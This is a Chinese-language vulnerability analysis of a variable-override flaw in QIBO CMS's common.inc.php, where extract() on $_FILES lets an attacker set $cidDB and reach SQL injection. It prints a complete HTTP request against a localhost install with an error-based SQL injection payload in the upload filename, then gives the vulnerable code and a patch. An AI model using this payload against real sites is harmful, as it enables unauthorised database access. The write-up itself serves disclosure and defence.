QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES

Andrew.Hann發表於2015-03-11

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

齊博在/inc/common.inc.php使用$$_key=$value、extract等邏輯實現了外部輸入變數的本地註冊,這是模擬了GPC的功能,但同時也引入"本地變數覆蓋""本地變數未初始化"的安全風險
齊博CMS中的漏洞檔案/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)來註冊$_FILES的各變數,使用EXTR_SKIP來控制不覆蓋已存在的變數。利用一個末初始化的變數覆蓋漏洞,即可導致sql注入漏洞

Relevant Link:

http://bbs.qibosoft.com/read-forum-tid-422299.htm


2. 漏洞觸發條件

0x1: 攻擊入口

構造$_FILE的變數覆蓋構造覆蓋$cidDB變數,POST給/member/comment.php

1. 首先訪問/member下面的"評論管理"功能,抓包

2. 在http request中構造一個attachment,如下:
/*
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0  
Referer: http://127.0.0.1/qibo/member/comment.php?job=work  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: zh-CN,zh;q=0.8  
Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1;   
passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork  
Content-Type: multipart/form-data;   
boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content-Length: 227  
   
------WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content-Disposition: form-data; name="cidDB"; filename="1' and EXP(~(select * from(select user())a)) -- "  
Content-Type: text/plain  
   
1111  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/
注意將原來的URL上的cidDB[]=x刪除掉;
然後構造一個檔案上傳的報文(GET改為POST方法)
在filename處填入注入的payload

3. 提交該資料包,即可注入成功
//這次的變數覆蓋是抓住了extract的EXTR_SKIP只檢查已經存在的變數,但是有些沒有宣告的變數還是會被覆蓋

Relevant Link:

http://bobao.360.cn/learning/detail/291.html


3. 漏洞影響範圍

齊博所有系統、所有版本


4. 漏洞程式碼分析

\qibo\inc\common.inc.php

/*
全域性變數檔案對GPC變數的過濾
從程式碼中可以看淡,通過$_FILE傳的值,POST的內容受GPC影響,因此只能利用$_FILE變數的$key繞過add_S函式
這裡,$_FILS在傳遞引數時,是陣列形式,因此可以預設使用$_FILES的$key去覆蓋
*/
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array)
{
    foreach($array as $key=>$value)
    {
        if(!is_array($value))
        {
            $value=str_replace("&#x","& # x",$value);    //過濾一些不安全字元
            $value=preg_replace("/eval/i","eva l",$value);    //過濾不安全函式
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }
        else
        {
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

if(!ini_get('register_globals'))
{
    @extract($_FILES,EXTR_SKIP);
}

foreach($_COOKIE AS $_key=>$_value)
{
    unset($$_key);
}
foreach($_POST AS $_key=>$_value)
{
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value)
{
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}


5. 防禦方法

\qibo\inc\common.inc.php

if(!ini_get('register_globals'))
{
    $array = array('Filedata','postfile','upfile','fileData','Filedata');
    foreach($array AS $key=>$value)
    {
        is_array($_FILES[$value]) && $$value = $_FILES[$value];
    }
}


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

相關文章